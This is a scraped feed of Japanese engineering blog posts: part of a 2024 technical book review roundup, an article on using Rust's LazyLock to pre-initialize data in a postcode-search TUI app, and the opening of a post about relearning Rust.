Edition)作者:Khononov, VladAddison-Wesley ProfessionalAmazonさらに、「A Philosophy of Software Design, 2nd Edition」は、ソフトウェア設計における複雑性の管理について、より哲学的な視点から考察を展開しています。この本は、モジュール分割の原則やインターフェース設計の考え方など、Tidyingの実践を支える理論的な基盤を補完してくれます。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazon本書の真価は、コードの整理整頓を、技術的な活動としてだけでなく、経済的な投資活動として捉える視点を提供している点です。これは、技術的な改善活動の必要性を経営層に説明する際の有効な理論的基盤となります。また、本書は3部作の第1巻として位置づけられており、個人、チーム、組織のレベルでの開発プラクティスを包括的に扱う野心的なプロジェクトの出発点となっています。私にとって、本書は技術的負債の管理に関する新しい視点を提供してくれました。特に、小規模な改善活動を継続的に行うことの重要性と、その活動の経済的な価値を理解する上で、貴重な指針となっています。本書で提唱されているTidyingの概念は、現代のソフトウェア開発における持続可能性の向上に大きく貢献する可能性を秘めています。技術的な改善と経済的な価値創造の両立を目指す実践的なアプローチとして、多くの開発者にとって有益な知見となるでしょう。こちらの本も日本語版がリリースされます。読んでないのですが定評のある翻訳者陣が担当しており、高品質な翻訳が期待できます。Tidy First? ―個人で実践する経験主義的ソフトウェア設計作者:Kent Beckオーム社Amazonソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかた「ソフトウェア開発現場の「失敗」集めてみた」は、開発現場でありがちな失敗を42の事例としてまとめ上げた、笑いと教訓が詰まった一冊です。本書の特徴は、各エピソードを4コマ漫画付きで紹介しながら、その失敗から学べる教訓と対策を実践的に解説している点にあります。ソフトウェア開発現場の「失敗」集めてみた。 42の失敗事例で学ぶチーム開発のうまい進めかた作者:出石 聡史翔泳社Amazon本書の真髄は、「失敗」を単なる戒めとしてではなく、成長のための貴重な学びの機会として提示している点です。例えば、「全部入りソフトウェア」や「八方美人仕様」といった事例は、読んでいて思わず苦笑してしまうものの、自分の過去や現在の案件と重ね合わせると背筋が凍るような リアルな内容となっています。特に印象的なのは、各失敗事例が企画、仕様、設計・実装、進捗管理、品質管理、リリース後という開発工程に沿って整理されている点です。これにより、どの段階でどのような落とし穴が待ち構えているのかを、体系的に理解することができます。本書の構成は非常に巧みです。各エピソードは、まず4コマ漫画で状況を分かりやすく説明し、続いて失敗の詳細な解説へと進みます。そして、なぜその失敗が起きるのかという原因分析を行い、最後にどうすれば防げるのかという具体的な対策を示すという流れで展開され、読者を笑いながら学びへと導いていきます。時には「あるある...」と共感し、時には「まさか自分も...」と冷や汗をかきながら、気づけば実践的な対策を学んでいられるという、絶妙な構成となっています。本書を読み進めていく中で、開発現場で日々直面する可能性のある様々な失敗のパターンが、読者の経験と重なりながら鮮やかに描き出されていきます。それぞれの事例は、読者が「ああ、これは...」と思わず身につまされるような、リアルな状況として描かれています。ここで思い出したのが、「達人プログラマー 第2版」です。この本もまた、ソフトウェア開発における失敗と成功の本質を深く掘り下げています。両書に共通するのは、失敗を恐れるのではなく、そこから学び、次につなげていく姿勢です。「達人プログラマー」が開発者としての哲学や普遍的な原則を説くのに対し、この本は現場での具体的な失敗事例とその対策に焦点を当てており、互いに補完し合う関係にあると言えるでしょう。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon本書の真価は、これらの失敗を「笑い」というクッションを通して提示することで、読者が防衛本能を働かせることなく、客観的に問題を理解し、解決策を考えられるようにしている点です。また、各事例に対する具体的な対策は、実務ですぐに活用できる実践的なものとなっています。私自身、本書を読みながら何度も「あ、これ...」と苦笑いしましたが、同時に「明日からこうしよう」という具体的なアクションプランも得ることができました。特に、チームリーダーやプロジェクトマネージャーにとって、この本は「失敗」という観点からプロジェクトを見直す貴重な機会を提供してくれます。本書は、開発現場の失敗から学ぶという姿勢を大切にしながら、その教訓を次の成功へとつなげていく道筋を示してくれる良書です。時には笑い、時には考え込み、そして明日からの行動を変えていく—そんな良い意味での「反省の書」といえるでしょう。プログラミングRust 第2版「プログラミングRust 第2版」は、Rustという言語の深い理解を導く羅針盤のような一冊です。本書は、システムプログラミングの本質に迫りながら、現代的な言語機能を体系的に解説するという野心的な試みに成功しています。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonこの本の特筆すべき点は、Rustの重要な概念を段階的に、かつ包括的に解説していることです。特に所有権とライフタイム、並行処理といったRustの特徴的な機能について、理論的な説明と実践的な例を絶妙なバランスで提供しています。これは、まるで高度な技術文書をコンパイラが最適化するように、複雑な概念を理解しやすい形に変換してくれる働きがあります。本書の構成は、基本的な言語機能から始まり、徐々により高度なトピックへと展開していきます。例えば、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が詳細に解説されています。これは、読者の理解度を段階的にスケールアップさせていく、よく設計されたアーキテクチャのようです。特に印象的なのは、本書がパフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から丁寧に解き明かしている点です。これは、高可用性システムの設計原則にも通じる、信頼性とパフォーマンスのトレードオフを実践的に学べる貴重な機会を提供しています。また、本書は2021年のRust Editionに対応しており、最新の言語機能や実践的なプログラミング手法が網羅されています。これは、まるで継続的デリバリーのパイプラインのように、最新の知識を読者に届けてくれます。実務的な観点からも、本書の価値は計り知れません。エラーハンドリング、テスト、デバッグといった実践的なトピックについても、深い洞察と具体的な実装例を提供しています。これらの知識は、本番環境でのRustプログラミングにおいて、インシデントを防ぎ、安定性を確保するための重要な基盤となります。本書は、単なる言語仕様の解説書を超えて、システムプログラミングの本質に迫る良書といえます。その内容は、Rustを学ぶ開発者にとって、強固な基盤となるインフラストラクチャを提供してくれることでしょう。私にとって、本書は技術書のデータセンターの中核を担うサーバーとして機能しています。新しい機能や概念に出会うたびに、本書に立ち返り、その本質的な理解を深めることができます。2025年に予定されているRust 2024 Editionのリリースに向けて、本書の次版がどのように進化していくのか、今から楽しみでなりません。Programming Rust: Fast, Safe Systems Development (English Edition)作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F. S.O'ReillyAmazonEffective Rust「Effective Rust」は、Rustのコンパイラが発する警告やエラーの深い理由を解き明かしてくれる、暗号解読書のような一冊です。本書は、単なる文法やパターンの解説を超えて、Rustの設計思想とその根底にある原理を探求することで、より深い理解と実践的なスキルの獲得を可能にします。Effective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO'Reilly MediaAmazon本書の真髄は、「なぜそのコードがコンパイラに拒否されるのか」という本質的な問いに対する答えを提供している点です。これは、まるでセキュリティ監査ツールのような役割を果たし、潜在的な問題を事前に検出し、より安全なコードへと導いてくれます。例えば、借用チェッカーとの「戦い」は、実はメモリ安全性を確保するための重要な対話であることを理解させてくれます。特筆すべきは、本書が型システムを通じたデザインパターンを詳細に解説している点です。これは、アプリケーションのアーキテクチャを型安全に設計するための青写真を提供してくれます。例えば、newtypeパターンの活用や、トレイトを用いた共通の振る舞いの表現など、型システムを活用した設計手法を学ぶことができます。また、本書はエラーハンドリングのベストプラクティスについて深い洞察を提供します。OptionやResult型の効果的な使用法から、独自のエラー型の設計まで、堅牢なエラー処理の体系を示してくれます。これは、まるで障害対策のプレイブックのような役割を果たします。実務的な観点からも、本書の価値は計り知れません。依存ライブラリの管理やツールチェーンの活用など、実践的なトピックについても詳しく解説されています。特に、Clippyとの対話を通じたコード品質の向上や、CIシステムの設定など、現代のソフトウェア開発に不可欠な知識が網羅されています。本書は、「とりあえず動く」コードから「より良い」コードへの進化を支援してよりイディオマティックなRustコードへの道筋を示してくれます。私にとって、本書は技術書のデータセンターにおける重要なセキュリティシステムとして機能しています。コードの品質と安全性を確保するためのチェックポイントとして、常に参照すべき存在となっています。特に、「なぜそうすべきか」という根本的な理解を深めることで、より効果的なRustプログラミングが可能になります。こちらの本も日本語版がリリースされています。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazonバックエンドエンジニアを目指す人のためのRust「バックエンドエンジニアを目指す人のためのRust」は、単なるRustの入門書を超えて、実践的なプロジェクトを通じてバックエンドエンジニアに必要な知識とスキルを体系的に学べる一冊です。本書は、「なぜバックエンドにRustなのか」という根本的な問いに、具体的なプログラミング体験を通じて答えを提示しています。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon「Webバックエンド開発にRustは不要ではないか?」という疑問に対して、本書は実践的な回答を提供します。Rustの型システムとコンパイラによる厳格なチェックは、本番環境での予期せぬエラーを事前に防ぐことができます。また、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能は、信頼性の高いバックエンドシステムの構築に直接的に貢献します。本書の構成は、学習者の段階的な成長を支援するように綿密に設計されています。計算クイズから始まり、ポーカーゲーム実装でデータ構造を学び、家計簿プログラムでファイルI/Oを理解し、最終的にはTODOアプリの開発とデプロイメントまでを経験できます。各プロジェクトは、バックエンド開発に必要な特定の技術要素に焦点を当てており、理論と実践を効果的に結びつけています。また、本書はCargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説しています。これらのツールは、チーム開発における生産性と品質の向上に直結する重要な要素です。本書を通じて学べる実践的なスキルは、現代のバックエンド開発の現場で直接活用できます。とりわけ、Webアプリケーション開発からデプロイメントまでの一連のプロセスを実際に体験できる点は、実務への橋渡しとして非常に価値があります。最終章では採用面接を想定した内容も含まれており、学習した内容を実際のキャリアにつなげる道筋も示されています。Real World HTTP 第3版「Real World HTTP 第3版」は、HTTPプロトコルの基礎から最新動向まで、体系的かつ実践的に解説した決定版です。本書は、HTTPの歴史的な進化をたどりながら、ブラウザの内部動作やサーバーとのやり取りについて、実例とコードを交えて詳細に解説しています。Real World HTTP 第3版 ―歴史とコードに学ぶインターネットとウェブ技術作者:渋川 よしきオライリージャパンAmazon本書は、辞書的に知りたい項目を調べるのにも、通して読んで体系的に学習するのにも適しています。特に注目すべきは、認証やセキュリティなど、開発者が苦手意識を持ちがちな領域についても、実践的な観点から詳しく解説している点です。サンプルコードはGoを使用していますが、これは動作確認や挙動の理解に焦点を当てたものです。実際の実装例を通じて、HTTPの基本的な仕組みから最新の機能まで、具体的に理解することができます。もう少し入門的な内容としては「[改訂新版]プロになるためのWeb技術入門」をオススメしたいです。10年以上にわたって多くの読者に支持されてきた本書はWebシステムの基礎から最新のSPAまで、体系的かつ段階的に学べる実践的な入門書です。本書は、なぜWebシステムをうまく作ることができないのかという根本的な問いに対して、技術の本質的な理解を通じて答えを導き出そうとしています。サンプルもどうようにGoですし、Goは本能さえあれば読めるので…。[改訂新版]プロになるためのWeb技術入門作者:小森 裕介技術評論社Amazonまた、実装やWeb技術を学べたと思ってアーキテクチャ設計を学ぶ準備が整った方には、「アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築」をお勧めします。本書は、アーキテクチャ設計の本質的な考え方から、実践的な構築手法までを体系的に解説していて入門にはぴったりです。アーキテクトの教科書 価値を生むソフトウェアのアーキテクチャ構築作者:米久保 剛翔泳社AmazonWeb技術やアーキテクチャについて検索エンジンやChatGPTで調べると、求めている答えにたどり着くまでに多くの時間がかかり、また得られる情報が断片的になりがちです。一方、良質な技術書は、その分野の知識を体系的に整理し、読者が見落としがちな重要なポイントも含めて包括的に解説してくれます。さらに、実践的な経験に基づく洞察や、背景にある原理の説明など、オンラインでは得にくい深い知見を提供してくれます。第3版では、より初学者を意識した導入や、スーパーアプリなどプラットフォーム化するウェブに関する新章が追加されています。また、HTTP/3とQUICなど最新の技術動向についても詳しく解説されています。本書の圧倒的な情報量は、単なるボリュームではなく、実務で本当に必要となる知識が凝縮されています。AWSやWebフレームワークでの開発スキルも重要ですが、真のWebエンジニアとして成長するためには、本書で解説されているような基盤となる知識の理解が不可欠です。学び直しにも最適な一冊であり、眺めるだけでも新しい発見が得られます。HTTPやWeb技術の深い理解を目指す若手エンジニアには、まさに必携の書といえるでしょう。【改訂新版】システム障害対応の教科書「システム障害対応の教科書」は、システム障害対応の暗黙知を形式知化し、体系的に解説した画期的な一冊です。本書は、インシデント発生から終息までの一連のプロセスを詳細に解説するだけでなく、組織としての障害対応力向上までを包括的にカバーしています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon改訂新版では、チームメンバーの教育と育成、障害対応訓練、事故を防ぐ手順書の作り方、エンドユーザ向け情報発信についての新章が追加され、より実践的な内容となっています。特に、ワークブック編の追加により、理論を実践に落とし込むための具体的な手法が提供されており、新人から中堅、マネージャーまで幅広い層に価値のある内容となっています。本書の真価は、システム障害対応における役割と基本動作の明確化にあります。インシデントコマンダー、作業担当者、ユーザ担当者など、各役割の責務と行動規範が詳細に解説されています。また、必要なドキュメントやツール、環境についても具体的な説明があり、すぐに実務に活かせる実践的な知識を得ることができます。特に注目すべきは、組織の障害対応レベル向上と体制作りに関する章です。障害対応力のスキルチェックシートや訓練の実施要領など、組織として継続的に改善していくための具体的な方法論が示されています。また、生成AI技術のシステム運用への応用についても言及されており、最新の技術動向も押さえられています。Appendixでは、実際の難易度の高いシステム障害ケースが紹介されており、ビジネスロジックの障害から大規模インフラ障害、災害時の対応まで、現実的なシナリオに基づいた学びを得ることができます。これらのケーススタディは、理論と実践を結びつける貴重な教材となっています。本書は、システム運用に関わるすべての人にとって、障害対応の基本から応用まで、体系的に学べる決定版といえます。新人エンジニアの教育から、中堅エンジニアのスキル向上、マネージャーの組織運営まで、幅広いニーズに応える内容となっています。運用であればAWS運用入門も今年読んで良かった本なのであわせて紹介しておきます。AWS運用入門 押さえておきたいAWSの基本と運用ノウハウ作者:佐竹 陽一,山﨑 翔平,小倉 大,峯 侑資SBクリエイティブAmazon申し訳ありません。GitHub CI/CD実践ガイドの章は前の章とは独立して新規に追加すべきでした。改めて追加させていただきます:GitHub CI/CD実践ガイド「GitHub CI/CD実践ガイド」は、持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用について、基礎から実践、そして応用まで体系的に解説した一冊です。本書は、単なるGitHub Actionsの使い方マニュアルを超えて、現代のソフトウェア開発における継続的インテグレーションと継続的デリバリーの本質に迫っています。GitHub CI/CD実践ガイド――持続可能なソフトウェア開発を支えるGitHub Actionsの設計と運用 エンジニア選書作者:野村 友規技術評論社Amazon本書の特徴は、その構成の緻密さにあります。基礎編では、GitHub Actionsの基本概念や構文を丁寧に解説し、実践編では具体的なユースケースに基づいた実装方法を示し、応用編では高度な使い方やセキュリティ、組織としての実践方法を展開しています。この段階的なアプローチにより、読者は自然と実践的なCI/CDの知識を積み上げていくことができます。特筆すべきは、本書がセキュリティと運用の観点を強く意識している点です。GitHub Actionsの基本的な使い方だけでなく、OpenID Connectによるセキュアなクラウド連携、Dependabotによる依存関係の管理、GitHub Appsによるクロスリポジトリアクセスなど、実運用で直面する重要な課題についても深く掘り下げています。本書が提供する知見は、現代のソフトウェア開発において不可欠な継続的デリバリーの実践へと読者を導きます。組織のパフォーマンス向上からバージョン管理戦略、テスト戦略、そしてインフラストラクチャの変更管理まで、包括的な視点でCI/CDの実践方法を解説しています。私にとって本書は、日々のCI/CD運用における信頼できるリファレンスとなっています。実装時の細かな疑問から、アーキテクチャレベルの設計判断まで、様々な場面で本書の知見が活きています。GitHubを利用する開発者にとって、この本は確実に実務の質を高めてくれる一冊となるでしょう。個人的にLearning GitHub Actionsが好きだったので日本語版のような書籍がでてきてくれて嬉しいです。Learning GitHub Actions: Automation and Integration of CI/CD with GitHub (English Edition)作者:Laster, BrentO'Reilly MediaAmazonおわりに2024年、私にとって技術書との関わり方が大きく変化した1年でした。技術書に関してはこれまでのように単に量を追い求めるのではなく、一冊一冊をより深く理解することに注力しました。その過程で、技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶であることを改めて実感しました。今年はプラットフォームエンジニアリング、継続的デプロイメント、オブザーバビリティ、SRE、データエンジニアリングなど、現代のソフトウェアエンジニアリングにおける重要なテーマを深く学ぶことができました。また、技術イベントでの発表や記事執筆に向けて、多くの入門書にも触れる機会があり、そこに込められた読者の理解を深めるための緻密な工夫にも感銘を受けました。特に印象深かったのは、これらの技術書に共通する「実践知の体系化」というアプローチです。例えば、『Platform Engineering』は組織的な実践知を理論化し、『システム障害対応の教科書』は現場の暗黙知を形式知へと昇華させています。また、『プログラミングRust』や『Effective Rust』といった言語関連の書籍も、単なる技術解説を超えて、設計思想や原理の本質的な理解に重点を置いています。これらの本から得た知識は、日々の業務や技術イベントでの発表を通じて実践し、さらにその経験を自分の言葉で発信することで、理解をより深めることができました。来年も引き続き、質の高い技術書との出会いを大切にし、得られた知見を実践し、コミュニティに還元していくことで、エンジニアとしての成長を続けていきたいと考えています。","isoDate":"2024-12-23T08:47:50.000Z","dateMiliSeconds":1734943670000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"初回実行が遅ければ遅延初期化でやればいいじゃない - RustのTUIアプリケーション改善","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/14/121545","contentSnippet":"この記事はRust Advent Calendar 2024 シリーズ3の15日目の記事です。はじめにみなさん、アプリケーションの初回実行の遅さに悩んでいませんか?「初回の検索が遅い...」「起動に時間がかかる...」「ユーザーから苦情が...」といった問題は、多くの開発者が直面する共通の課題です。実は、こういった問題の多くは初期化のタイミングを工夫することで効果的に解決できます。特にRustの場合、遅延初期化の仕組みを積極的に活用することで、パフォーマンスとユーザー体験を大きく改善することが可能です。初期化処理を適切なタイミングで実行することで、アプリケーションの応答性を保ちながら、必要なデータの準備を効率的に行うことができるのです。今回は郵便番号検索アプリケーション(jposta)を具体例として、初期化の最適化手法について詳しく見ていきましょう。この実践的なケーススタディを通じて、効果的な初期化戦略の実装方法を学んでいきます。github.com遅延初期化とは遅延初期化は、「必要になるまで初期化を待つ」という考え方を基本とする重要な最適化テクニックです。アプリケーションの起動時に全てのデータを一度に読み込むのではなく、そのデータが実際に使用されるタイミングまで読み込みを延期することで、システムの効率性を高めることができます。ja.wikipedia.org特に重要な利点として、アプリケーションの起動時間の大幅な短縮が挙げられます。全ての機能を一度に初期化する代わりに、必要な機能から順次初期化することで、ユーザーは最小限の待ち時間でアプリケーションの使用を開始できます。また、大きな設定ファイルの読み込みやデータベース接続の確立、重いライブラリの初期化、キャッシュの構築といったリソース集約的な操作を必要なタイミングまで延期することで、メモリやCPUなどの限られたリソースを効率的に活用することが可能となります。さらに、遅延初期化は複雑な依存関係を持つシステムにおいても効果的です。複数のコンポーネントが互いに依存し合う状況では、初期化の順序が問題となることがありますが、各コンポーネントを必要に応じて初期化することで、この課題を自然に解決できます。加えて、テスト容易性の向上も重要な利点です。必要なコンポーネントだけを初期化できることで、単体テストやモジュールテストが容易になり、テストの実行速度も向上します。また、エラーハンドリングの改善にも貢献します。初期化時のエラーを早期に検出できるだけでなく、実際に使用されないコンポーネントの初期化エラーを回避することができます。運用環境での柔軟性も高まり、システムの一部機能が利用できない状況でも、他の機能を正常に動作させることが可能になります。このように、遅延初期化は現代のソフトウェア開発において、パフォーマンス、保守性、信頼性の面で多くのメリットをもたらす重要な設計パターンとなっています。blog1.mammb.comRustにおける遅延初期化の進化Rustにおける遅延初期化の歴史は、2014年に登場したlazy_staticから始まり、これはマクロベースの実装でスレッドセーフ性に課題があり、型の制約も厳しいものでした。github.comその後、2020年にはonce_cellが登場し、マクロを必要としないシンプルなAPIとスレッドセーフな実装、より柔軟な型のサポートを提供することで、遅延初期化の実装が大きく改善されました。github.comそして2024年になると、LazyCell/LazyLockが標準ライブラリに統合され、さらなる最適化と依存関係の削減が実現され、Rustの遅延初期化機能は新たな段階へと進化を遂げています。blog.rust-lang.orgこのように、Rustの遅延初期化は時代とともに進化し、より使いやすく堅牢な実装へと発展してきました。techblog.paild.co.jp問題の理解:なぜ初期処理が必要か?まず、jpostcode_rsライブラリの実装を見てみましょう:use std::sync::LazyLock;static ADDRESS_MAP: LazyLock>> = LazyLock::new(|| { let data = include_str!(concat!(env!(\"OUT_DIR\"), \"/address_data.json\")); let raw_map: HashMap = serde_json::from_str(data).expect(\"Failed to parse raw data\"); // ...});このコードの重要なポイントは、LazyLockによる遅延初期化を採用することで、JSONデータの初回アクセス時までパースを延期し、必要なタイミングでメモリへの展開を行う設計となっているということです。このコードから分かるように、初回アクセス時のパフォーマンス低下は遅延初期化の仕組みに起因しています。そこで私たちは、この遅延初期化の特性を活用し、ユーザーが実際にアクセスする前に初期化を完了させる戦略を考案しました。解決策:遅延初期化を活用した初期処理従来の初期化パターンfn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { while let Ok(query) = search_rx.recv() { // 初回検索時にデータ初期化が発生 = 遅い! } }); App { /* ... */ }}改善後:標準ライブラリの機能を活用use std::sync::{LazyLock, Mutex};// グローバルな初期化フラグstatic INITIALIZED: LazyLock> = LazyLock::new(|| Mutex::new(false));impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { // バックグラウンドで初期化 { let mut init = INITIALIZED.lock().unwrap(); if !*init { // 軽いクエリで事前初期化をトリガー let _ = lookup_addresses(\"100\"); let _ = search_by_address(\"東京\"); *init = true; } } // 以降の検索は初期化済みのデータを使用 let mut cache: HashMap> = HashMap::new(); while let Ok(query) = search_rx.recv() { // 通常の検索処理 } }); App { /* ... */ } }}この手法の効果とメリットとデメリットこの手法の中核となる標準ライブラリのLazyLockやMutexなどの基本機能は、追加のライブラリを必要としない堅牢な実装を可能にします。既存のRustプログラマーにとって馴染みのある仕組みを使用しているため、コードの理解や保守が容易であり、依存関係も最小限に抑えることができます。また、これらの機能は既にRustチームによって最適化され、徹底的にテストされているため、高いパフォーマンスと信頼性が保証されています。システムの保守性と運用面では、初期化ロジックの集中管理により、状態管理が大幅に簡素化されます。INITIALIZEDフラグを用いた明示的な制御により、初期化状態の追跡が容易になり、デバッグ性も向上します。さらに、初期化処理をバックグラウンドスレッドで実行することで、メインスレッドのブロッキングを避け、UIの即時表示とレスポンシブな操作感を実現できます。スケーラビリティの観点からは、新機能の追加や初期化順序の制御が柔軟に行えるため、システムの成長に合わせた拡張が容易です。Mutexによる適切な同期制御により、複数スレッドからの安全なアクセスが保証され、並行処理との親和性も高くなっています。また、必要なデータの予測的な先読みとメモリ使用の最適化により、効率的なリソース管理が可能です。初期化処理のモジュール化により、新しい機能の追加時も既存コードへの影響を最小限に抑えられ、キャッシュの効果的な活用によって、大規模なアプリケーションでも高いパフォーマンスを維持できます。一方で、この手法にはいくつかの重要な課題も存在します。まず、メモリ使用量の増加が挙げられます。事前初期化アプローチでは、実際には使用されない可能性のあるデータ構造も含めて、すべてのデータをメモリに展開する必要があります。これは特にメモリリソースが限られている環境において深刻な問題となる可能性があり、システムの全体的なパフォーマンスに影響を与える可能性があります。また、起動時のリソース消費も重要な課題です。バックグラウンドでの初期化処理は、システムの起動時により多くのCPUとメモリリソースを必要とします。特にモバイルデバイスやバッテリー駆動の機器では、この追加のリソース消費が電力効率に悪影響を及ぼす可能性があります。ユーザーの使用パターンによっては、この初期化コストが実際の便益を上回ってしまう場合もあります。さらに、実装の複雑性が増加することも大きな課題です。遅延初期化と事前初期化を組み合わせることで、コードベースの複雑性が著しく増加します。特に初期化の順序や依存関係の管理が複雑になり、開発者がシステムの動作を理解し、デバッグすることが困難になる可能性があります。この複雑性は、新しい機能の追加や既存機能の修正時にも影響を及ぼし、開発効率の低下につながる可能性があります。テストの複雑化も見過ごせない問題です。バックグラウンド初期化を含むコードのテストでは、タイミングや状態管理の観点から、適切なテストケースの作成と実行が困難になります。特に並行処理に関連するバグの再現や検証が複雑になり、品質保証のプロセスに追加の負担がかかる可能性があります。最後に、エラーハンドリングの複雑化も重要な課題です。バックグラウンドでの初期化中に発生したエラーの適切な処理と、それに対するユーザーへの適切なフィードバック提供が技術的な課題となります。エラーが発生した場合の回復処理や、部分的な機能提供の実装も複雑になり、システムの信頼性と保守性に影響を与える可能性があります。このように、標準ライブラリの機能を活用した実装は多くの利点をもたらす一方で、システムの要件や制約に応じて、これらのデメリットを慎重に検討する必要があります。実装時には、これらのトレードオフを考慮しながら、適切な設計判断を行うことが重要となります。実装時の注意点デッドロックの防止{ // スコープによるロックの制限 let mut init = INITIALIZED.lock().unwrap(); if !*init { *init = true; }} // ロックの自動解放初期化の冪等性if !*init { // 複数回実行されても安全な実装に let _ = lookup_addresses(\"100\"); *init = true;}まとめ私たちは「初回アクセスが遅いなら、事前に必要な処理を済ませておこう」というシンプルながら実用的なアプローチについて、Rustの標準ライブラリの遅延初期化機構を通じて検討してきました。この手法には、メモリ使用量の増加やコードの複雑化といった課題も存在しますが、適切に実装することで大きな効果が期待できます。標準ライブラリの機能を活用し、依存関係を最小限に抑えながら、スレッドセーフな実装を実現することで、効率的かつ安全な初期化処理が可能となります。このように、遅延初期化と事前初期化を組み合わせたアプローチは、システムの特性や要件に応じて検討すべき重要な最適化パターンの一つと言えるでしょう。参考文献The Rust Standard Library - std::sync::LazyLockThe Rust Standard Library - std::cell::LazyCellRust Performance Book","isoDate":"2024-12-14T03:15:45.000Z","dateMiliSeconds":1734146145000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rust 再学習戦記","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/12/013950","contentSnippet":"プログラミング言語の再入門とは、未知の大地への探求というよりも、私たちが知っているはずの領域を新たな視点で見つめ直す営みです。それは初めての出会いのような激しい高揚感とは異なり、むしろ静かな再発見の過程といえるでしょう。この記事は3-shake Advent Calendar 2024 シリーズ2の12日目の記事です。はじめに2017年、私の心にRustという言語が静かに灯りを点しました。その光は、システムプログラミングの深い理解への憧れを呼び覚まし、私を導いていきました。情熱に突き動かされるように、DevOpsツールの創造から始まり、パケット解析の探究へ、そしてWebフレームワークの実装へと、私の歩みは広がっていきました。高速な実行速度と安全性という輝きに心を奪われながらも、未熟なエコシステムという現実が私たちの前に立ちはだかりました。パッケージの追従に心を砕き、破壊的な変更に耐え、そして孤独なメンテナンスの重みを感じながら、私は一時の別れを告げることを選びました。しかし2024年を迎えた今、私の目の前で世界は確かな変化を見せています。Rustの開発者満足度は非常に高い一方で、実務での採用はまだ限定的です。これは、現時点ではRustを業務で使用している開発者が比較的少なく、主に技術的な興味や言語の特徴に惹かれて自発的に選択している人が多いためかもしれません。まぁ何はともあれ、私もその魅力に惹かれた1人のエンジニア。最新のRustを探究すべく、再入門することにしました。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonなぜ今、Rustなのか技術的な成熟Rustのエコシステムは大きく進化し、この数年で安定性が著しく向上しています。パッケージの破壊的変更は目に見えて減少し、Zero To Production In Rustをはじめとした実践的な運用ガイドの登場により、本番環境での運用ノウハウが充実してきました。さらに、日本語での技術記事や登壇資料も増え、日本語でのコミュニケーションも充実してきています。主要パッケージの品質向上と運用実績の蓄積により、開発環境全体の信頼性は大幅に高まっています。また、言語サーバーの進化やツールチェーンの充実により、開発効率も飛躍的に向上しました。実践的な機能面においても、目覚ましい進歩が見られます。エラーハンドリングの改善やWebAssemblyサポートの強化により、クロスプラットフォーム対応も一層充実しました。また、コンパイラの最適化改善による実行時オーバーヘッドの最小化や、所有権システムによるメモリ安全性の保証など、Rustの基本的な強みはさらに磨きがかかっています。特に、非同期プログラミングのエコシステムは大きく成熟し、堅牢な基盤が確立されています。また、2025年には2024 Rdition がリリースされる。SREとしての展望今後は、Rustで構築されたマイクロサービスや高性能なバックエンドサービスのためのインフラ構築や運用の機会が増えていくことが予想されます。特に、コンテナ環境でのデプロイメントやクラウドネイティブな環境でのインフラ構築において、Rustアプリケーションの特性を最大限に活かすための設計が求められるでしょう。例えば、Rustの低メモリ消費という特徴を活かしたコンテナリソースの最適化や、高速な実行速度を考慮したオートスケーリングの設計など、アプリケーションの特性に合わせたインフラストラクチャの構築が重要になってきます。また、モニタリングやログ収集といった運用基盤においても、Rustアプリケーションに適した構成を検討していく必要があるでしょう。SREとしてRustのプロダクションデプロイメントに関わる場合は、Zero To Production In Rustを参照することをお勧めします。この書籍では、Rustアプリケーションの本番環境への展開に関する実践的なガイドラインが提供されています。www.zero2prod.comRustの再入門のための学習コンテンツ再入門にあたり、Rustの最新のプラクティスやエコシステムの変化をキャッチアップするため、いくつかの資料に取り組みました。特に有用だった書籍を紹介していきます。書籍の良さは情報を俯瞰できる点にあると考えています。わからない点があればLLMに質問することができますので⋯。なお、この記事はRustの基礎知識がある方向けの再入門という観点で資料を選定しているため、完全な初学者向けの内容は含んでいません。参照したドキュメントや内容の詳細については、Xで共有しているドキュメントをご確認ください。プログラミングRust 第2版 を読んで可能な限り手を動かす会を実施します。https://t.co/rmUpbPtK9O— nwiizo (@nwiizo) 2024年11月21日 読んだ本についての定義についてはこちらを参考にしてほしいです。読んでいない本について堂々と語る方法 (ちくま学芸文庫)作者:ピエール・バイヤール,大浦康介筑摩書房Amazonまた、yuk1tydさんのドキュメントは2021年時点の情報ですが、現在も十分に有用な内容となっているためおすすめです。blog-dry.com書籍Programming Rust, 2nd EditionO'Reilly Mediaから出版されている本書は、Rustの基本的な概念から高度な機能まで包括的に解説する定番の教科書です。特に所有権やライフタイム、並行処理といったRustの特徴的な機能について、実践的な例を交えながら詳細に説明されています。本当に再入門してから何度も読んでいる。生成AIに聞くか本を読むか実際に書いていくかの三択である。Programming Rust: Fast, Safe Systems Development作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F SO'Reilly MediaAmazon2021年の第2版では、Rust 2021 